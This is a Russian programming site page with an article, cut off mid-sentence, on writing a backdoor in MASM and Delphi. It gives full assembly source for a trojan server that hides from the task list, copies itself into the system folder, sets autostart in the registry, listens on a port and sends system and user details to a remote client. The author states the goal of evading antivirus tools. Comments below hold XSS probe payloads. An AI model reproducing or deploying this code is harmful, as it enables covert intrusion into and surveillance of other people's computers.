Навигация
Главная
Поиск
Форум
FAQ's
Ссылки
Карта сайта
Чат программистов

Статьи
-Delphi
-C/C++
-Turbo Pascal
-Assembler
-Java/JS
-PHP
-Perl
-DHTML
-Prolog
-GPSS
-Сайтостроительство
-CMS: PHP Fusion
-Инвестирование

Файлы
-Для программистов
-Компонеты для Delphi
-Исходники на Delphi
-Исходники на C/C++
-Книги по Delphi
-Книги по С/С++
-Книги по JAVA/JS
-Книги по Basic/VB/.NET
-Книги по PHP/MySQL
-Книги по Assembler
-PHP Fusion MOD'ы
-by Kest
Professional Download System
Реклама
Услуги

Автоматическое добавление статей на сайты на Wordpress, Joomla, DLE
Заказать продвижение сайта
Программа для рисования блок-схем
Инженерный калькулятор онлайн
Таблица сложения онлайн
Популярные статьи
OpenGL и Delphi... 65535
Форум на вашем ... 65535
21 ошибка прогр... 65535
HACK F.A.Q 65535
Бип из системно... 65535
Гостевая книга ... 65535
Invision Power ... 65535
Пример работы с... 65535
Содержание сайт... 65535
ТЕХНОЛОГИИ ДОСТ... 65535
Организация зап... 65535
Вызов хранимых ... 65535
Создание отчето... 65535
Имитационное мо... 65535
Программируемая... 65535
Эмулятор микроп... 65535
Подключение Mic... 65535
Создание потоко... 65535
Приложение «Про... 65535
Оператор выбора... 65535
Реклама
https://www.pra3dnuk.ru поздравительные открытки с днем рождения коллеге.
Сейчас на сайте
Гостей: 9
На сайте нет зарегистрированных пользователей

Пользователей: 13,368
новичок: Goosprin
Новости
Реклама
Выполняем курсовые и лабораторные по разным языкам программирования
Подробнее - курсовые и лабораторные на заказ
Delphi, Turbo Pascal, Assembler, C, C++, C#, Visual Basic, Java, GPSS, Prolog, 3D MAX, Компас 3D
Заказать программу для Windows Mobile, Symbian

Движение шарика в эллиптическои параболоиде на Delphi [OpenGL] + Блок схемы
Моделирование литейного цеха на GPSS + Пояснительная записка
Моделирование процесса передачи данных по магистрали с основным и резерв...

Как самому написать BackDoor: Asm + Delphi
BackDoor. Так первую версию моей проги удаленного администрирования назвал небезызвестный Кашперский. Я обиделся, но слово мне понравилось. Ассоциируется с "все в сад" и "уйти огородами". В цикле статей я хочу представить почти все исходники моей программы "DTr v.1.3" вместе с разъяснениями (все разжевывать не буду, но кому надо, тот поймет). Цель всего этого очень проста - при изменении исходников такие типы как Кашперский (AntiViraltoolkit Pro и т.п.) какое-то время просто будут отдыхать. Моральные аспекты меня не смущают - людей, не способных поставить firewall и не смотрящих, что там вместе с маздаем запускается, надо наказывать. Исходники приводятся на асме и на Delphi. Если ты поскучнел и обломался читать дальше, то готовую программу можно взять с http://www.danil.dp.ua/. Может, все вещи, о которых я буду говорить, уже давно известны, но кому-то могут пригодиться и люди, использующие мою прогу, просили предоставить исходники. Писалась "DTr v.1.3" на MASM v.4 и на Delphi 5.

В принципе, писать можно на чем угодно - по большому счету, исходники будут отличаться только вызовом функций WinAPI. Также желательно взять AsmEdit. AsmEdit я предпочитаю от Anatoly Voznuk - http://www.avt.newmail.ru/ (если разобраться в настройках, то как AsmEdit, HTMLedit и замена NotePad он просто незаменим). Если других вариантов нет, то Delphi и MASM можно взять на базаре. "Компактные" купцы дают гарантию на нечитабельность и глюки. Если что, то меняют. Дальше думай сам. Если у тебя есть актерские таланты, то в результате у тебя будут установлены Delphi, MASM и на полке будет лежать какой-нибудь нужный в хозяйстве компакт. Пригодится и программа для сжатия exe и dll. "ASpack" можно взять на http://www.aspack.com/. Будет работать бесплатно несколько дней, ну а если что, то crack сам знаешь где взять. Теперь об программах типа "DTr v.1.3". Обычно это сервер (запускается и работает на удаленном компе) и клиент (на твоей машине). Есть как минимум 4 разновидности сервера :

1) драйвер, сервис (обнаружить также тяжело как и написать);
2) встроенный в что-нибудь;
3) автозапуск прописывается в "win.ini";
4) автозапуск прописывается в реестр винды.

Здесь мы рассмотрим четвертую разновидность. Можно просто прописать в ключ реестра "HKLM/Software/Microsoft/Windows/Current Version/Run" какой-нибудь параметр со значением, являющейся командной строкой запуска сервера. Можно, например, обозвать сервер lternat.exe (эль маленькая вначале), запускать в программе "настоящий" "internat.exe" (переключение языков) и соответствующим образом изменить параметр "Internat" в реестре. Вариантов много.

Сервер будем писать на MASM - размер должен быть маленьким. Вот исходники скелета сервера ("dtr13_s.asm") :

.486
.model flat,stdcall
option casemap:none
include \masm32\include\winmm.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\winmm.lib
; МОИ ФУНКЦИИ
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; КОНСТАНТЫ
.DATA
NilStr db " ",0
WinVer1 db "Система сервера : Windows 32s",0
WinVer2 db "Система сервера : Windows NT",0
WinVer3 db "Система сервера : Windows 9x/ME",0
WinStr1 db "WINDOWS-каталог : ",0
WinStr2 db "TEMP-каталог : ",0
WinStr3 db "SYSTEM-каталог : ",0
WinStr4 db "Текущий пользователь : ",0
WinStr5 db "Имя компьютера : ",0
ActWin1 db "Заголовок активного приложения : ",0
ListFileStr000 db 13,10,0
ClassName db "DTR13Class",0
AppName db "DTR13",0
IconName db "TDIcon",0
kernel32 db "kernel32.dll", 0
rundll32 db "rundll32.exe", 0
ACDdis db "RegisterServiceProcess", 0
bkl db "\",0
RegStr001 db "HKEY_CLASSES_ROOT\",0
RegStr002 db "HKEY_CURRENT_USER\",0
RegStr003 db "HKEY_LOCAL_MACHINE\",0
RegStr004 db "HKEY_USERS\",0
DopLang1 db "Текущий язык : НЕ ОПРЕДЕЛЕН",0
DopLang2 db "Текущий язык : РУССКИЙ",0
DopLang3 db "Текущий язык : ENGLISH",0
StartupInfo STARTUPINFO <>
wsadata WSADATA <>
sin sockaddr_in <>
WM_SOCKET equ WM_USER + 100
AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 ; Ключ автозапуска
DTrKeyName db "Software\Microsoft\DTr003\",0 ; ключ программы
AutoRegValue db "nbsession",0 ; переменная реестра автозапуска
AutoRegValue1 db "nb003.exe" ,0 ; файл программы
AutoRegValue2 db "SysValue",0 ; переменная реестра для порта
AutoRegValue3 dd 10001 ; Порт по умолчанию = 10001
; ПЕРЕМЕННЫЕ
.DATA?
hInstance dd ?
CommandLine dd ?
sock dd ?
client dd ?
BufStr0 db 6666 dup (?) ; Буфер отправки
BufStr1 db 6666 dup (?) ; Буфер приема
VerStr db 128 dup (?)
VerDD dd ?
CommandStr db 30 dup (?)
CommandStr1 db 4096 dup (?)
CommandStr2 db 4096 dup (?)
CommandStr3 db 4096 dup (?)
pKey dd ?
Disp dd ?
ActWin dd ?
Lang dd ?
cmd dd ?
cmd0 dd ?
Bufcmd dd ?
WinDir db 900 dup(?)
Port dd ?
DW_SIZE EQU 4
DWordSize dd ?
Temp dd ?
; Раздел кода
.CODE
start:
; Выйти, если уже запущена
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit
; Скрыть по "Alt"+"Ctrl"+"Del"
invoke GetModuleHandle, addr kernel32
or eax,eax
jz continue
invoke GetProcAddress, eax, addr ACDdis
or eax, eax
jz continue
push 1
push 0
call eax
continue:
; Получить значение порта из реестра
;порт=10001
mov Port,10001
;открываем ключ в реестре
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr DTrKeyName, addr pKey
.IF eax == 0
; Читаем из реестра
mov eax, REG_DWORD
mov Temp, eax
mov DWordSize, DW_SIZE
invoke RegQueryValueEx, pKey, addr AutoRegValue2, NULL, ADDR Temp, addr cmd, addr DWordSize
.IF eax == 0
mov eax,cmd
.IF (eax > 0)
mov Port, eax
.ENDIF
.ELSE
; Если параметра нет, записываем порт=10001
invoke RegSetValueEx, pKey, addr AutoRegValue2, NULL, REG_DWORD, addr AutoRegValue3, DW_SIZE
.ENDIF
.ENDIF
invoke RegCloseKey, pKey
; Автостарт
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1
.ENDIF
invoke RegCloseKey, pKey
; Копируем прогу в WINDOWS\SYSTEM\
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat,addr WinDir,addr bkl
invoke lstrcat,addr WinDir,addr AutoRegValue1
invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1
invoke CopyFile,addr CommandStr1,addr WinDir,FALSE
; Старт
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax

;---------------------------------------
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
LOCAL Ver: OSVERSIONINFO
; Создадим окно для обработки сообщений
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
mov hwnd,eax
; Показать окно (для отладки)
;invoke ShowWindow, hwnd,SW_SHOWNORMAL
;invoke UpdateWindow, hwnd
; Инициализация сокета
invoke WSAStartup,101h,addr wsadata
invoke socket,AF_INET,SOCK_STREAM,0
mov sock,eax
invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ
mov sin.sin_family,AF_INET
invoke htons,Port
mov sin.sin_port,ax
mov sin.sin_addr,INADDR_ANY
invoke bind, sock,addr sin,sizeof sin
invoke listen,sock,15
; Получение версии m$ window$
mov Ver.dwOSVersionInfoSize, SizeOf Ver
invoke GetVersionEx, addr Ver
.IF Ver.dwPlatformId == VER_PLATFORM_WIN32s
invoke lstrcpy,addr VerStr, addr WinVer1
mov VerDD, 0
.ELSEIF Ver.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS
invoke lstrcpy,addr VerStr, addr WinVer3
mov VerDD, 1
.ELSEIF Ver.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke lstrcpy,addr VerStr, addr WinVer2
mov VerDD, 0
.ENDIF
; Обработка сообщений
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
DTRexit:
ret
WinMain endp

; -------------------------------------------------------------------------------------------------------
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL RezBool : DWORD
LOCAL I0 : DWORD
LOCAL I1 : LPDWORD
LOCAL SHFdop1 : FILEOP_FLAGS
LOCAL Temp1 : LPBYTE
LOCAL Temp2 : LPDWORD
.IF uMsg == WM_CREATE
.ELSEIF uMsg == WM_DESTROY
invoke closesocket,sock
invoke WSACleanup
invoke PostQuitMessage,NULL
; Сообщения от сокета
.ELSEIF uMsg == WM_SOCKET
mov eax,lParam
; Соединение
.IF ax == FD_ACCEPT
shr ax,16
.IF ax == NULL
; При соединении отправим клиенту информацию о системе
invoke accept,sock,0,0
mov client,eax
invoke lstrcpy, addr BufStr0, addr NilStr
invoke rtrim, addr BufStr0, addr BufStr0
invoke lstrcat, addr BufStr0, addr VerStr
invoke send,client,addr BufStr0,sizeof BufStr0,0
invoke Sleep,10
.ENDIF
; Получения команды от клиента
.ELSEIF ax == FD_READ
; Обнулим буфер для получения
mov ecx,6666
mov edi,offset BufStr1
lll: mov byte ptr [edi],0
inc edi
loop lll

mov eax,wParam
mov client,eax
; Получим команду и данные в BufStr1
invoke recv,client,addr BufStr1,sizeof BufStr1,0
.IF eax == SOCKET_ERROR
invoke recv,client,addr BufStr1,sizeof BufStr1,0
.ENDIF
.IF eax != SOCKET_ERROR
mov edi,offset BufStr1
invoke lstrcpy, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr ListFileStr000

; Полученная команда - "helo"
.IF (dword ptr [edi] == "oleh")
invoke lstrcat, addr BufStr0, addr VerStr
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение каталога винды
invoke GetWindowsDirectory , addr WinDir, sizeof WinDir
invoke lstrcat, addr BufStr0, addr WinStr1
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение системного каталога
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat, addr BufStr0, addr WinStr3
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
.IF (VerDD == 1)
; Получение временного каталога
invoke GetTempPath , 2048, addr WinDir
invoke lstrcat, addr BufStr0, addr WinStr2
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение имени пользователя
invoke GetUserName, addr CommandStr1, I0
invoke lstrcat, addr BufStr0, addr WinStr4
invoke lstrcat, addr BufStr0, addr CommandStr1
invoke lstrcat, addr BufStr0, addr ListFileStr000
.ENDIF
; Получение активного приложения
invoke GetForegroundWindow
mov ActWin, eax
.IF ActWin != 0
invoke SendMessage, ActWin, WM_GETTEXT, 1024, addr WinDir
invoke lstrcat, addr BufStr0, addr ActWin1
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение текущей языковой раскладки
invoke GetWindowThreadProcessId, ActWin, NULL
invoke GetKeyboardLayout, eax
mov Lang, eax
.IF Lang == 67699721
invoke lstrcat, addr BufStr0, addr DopLang3
.ELSEIF Lang == 68748313
invoke lstrcat, addr BufStr0, addr DopLang2
.ELSE
invoke lstrcat, addr BufStr0, addr DopLang1
.ENDIF
.ENDIF
invoke send,client,addr BufStr0, sizeof BufStr0, 0
invoke Sleep,10
jmp endREAD
.ENDIF

; РАЗДЕЛ ОБРАБОТКИ BufStr1, выполнения нужных действий
; и отправка сформированного BufStr0

endREAD :
.ENDIF
.ENDIF
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
END start


После компиляции у нас должен появиться файл "dtr13_s.exe". Пару слов о том, как это все работает. При запуске программы она записывает в реестр параметр "nbsession&
Опубликовал Kest November 06 2008 15:30:42 · 9 Комментариев · 15126 Прочтений · Для печати

• Не нашли ответ на свой вопрос? Тогда задайте вопрос в комментариях или на форуме! •


Комментарии
uytu July 17 2012 14:23:51
Реклама
Выполняем курсовые и лабораторные по разным языкам программирования
Подробнее - курсовые и лабораторные на заказ
Delphi, Turbo Pascal, Assembler, C, C++, C#, Visual Basic, Java, GPSS, Prolog, 3D MAX, Компас 3D
Заказать программу для Windows Mobile, Symbian
моделирование процесса поступления заявок в ЭВМ на GPSS + Пояснительная ...
Лабораторная работа по динамическим спискам на Turbo Pascal (удаление ду...
Изменения контуров и сортировка в двумерном массиве чисел на Turbo Pasca...
Реклама

Как самому написать BackDoor: Asm + Delphi
BackDoor. Так первую версию моей проги удаленного администрирования назвал небезызвестный Кашперский. Я обиделся, но слово мне понравилось. Ассоциируется с "все в сад" и "уйти огородами". В цикле статей я хочу представить почти все исходники моей программы "DTr v.1.3" вместе с разъяснениями (все разжевывать не буду, но кому надо, тот поймет). Цель всего э
sd May 03 2022 21:00:12
hi
we May 03 2022 21:01:20
"</textarea><script>alert(123)</script>
</span><script>alert(123)</script&g May 03 2022 21:06:53
as
</span><script>alert(123)</script&g May 03 2022 21:08:00
as
</span><script>alert(123)</script&g May 03 2022 21:08:33
as
"><script>alert(123)</script> May 03 2022 21:12:44
as
</span><script>alert(123)</script&g May 03 2022 21:13:45
zs
"><script>alert(123)</script> May 03 2022 21:15:27
as
Добавить комментарий
Имя:



smiley smiley smiley smiley smiley smiley smiley smiley smiley
Запретить смайлики в комментариях

Введите проверочный код:* =
Рейтинги
Рейтинг доступен только для пользователей.

Пожалуйста, залогиньтесь или зарегистрируйтесь для голосования.

Нет данных для оценки.
Гость
Имя

Пароль



Вы не зарегистрированны?
Нажмите здесь для регистрации.

Забыли пароль?
Запросите новый здесь.
Поделиться ссылкой
Фолловь меня в Твиттере! • Смотрите канал о путешествияхКак приготовить мидии в тайланде?
Загрузки
Новые загрузки
iChat v.7.0 Final...
iComm v.6.1 - выв...
Visual Studio 200...
CodeGear RAD Stud...
Шаблон для новост...

Случайные загрузки
IPAddresseEdit
Geo-Whois
Comdrv
Цветной Grid
WAP версия сайта
Определние размер...
Программа предназ...
Animated Menus
Borland Delphi 8 ...
Page Promoter 7.7...
Технология .Net в VB
Delphi 7: Для про...
Дарахвелидзе П., ...
FatScrollbar
Encrypt Decrypt
С# для профессион...
iChat v.7.0 Final...
Размещение элемен...
PHP глазами хакера
C++ для начинающих

Топ загрузок
Приложение Клие... 100774
Delphi 7 Enterp... 97833
Converter AMR<-... 20268
GPSS World Stud... 17014
Borland C++Buil... 14191
Borland Delphi ... 10291
Turbo Pascal fo... 7373
Калькулятор [Ис... 5984
Visual Studio 2... 5207
Microsoft SQL S... 3661
Случайные статьи
Доступ к объектной...
Включение пользова...
Подробнее о внедре...
Наследование конк...
Выделение памяти я...
Ввод и вывод широк...
Игровые автоматы к...
Системы контроля сети
Относительно небол...
ВВЕДЕНИЕ
и ключа шифрования...
Все о языках-прогр...
Метаданные
Лотерея - доступны...
Ремонт бамперов.
Магистраль состоит...
Как происходит пер...
Идеальное решение
MediaDesc
Нарушения правильн...
Продолжительность ...
Вычисление значени...
Автомобилей выкуп
Studio, то объект ...
терминалов;«О Защи...
Статистика



Друзья сайта
Программы, игры


Полезно
В какую объединенную сеть входит классовая сеть? Суммирование маршрутов Занимают ли таблицы память маршрутизатора?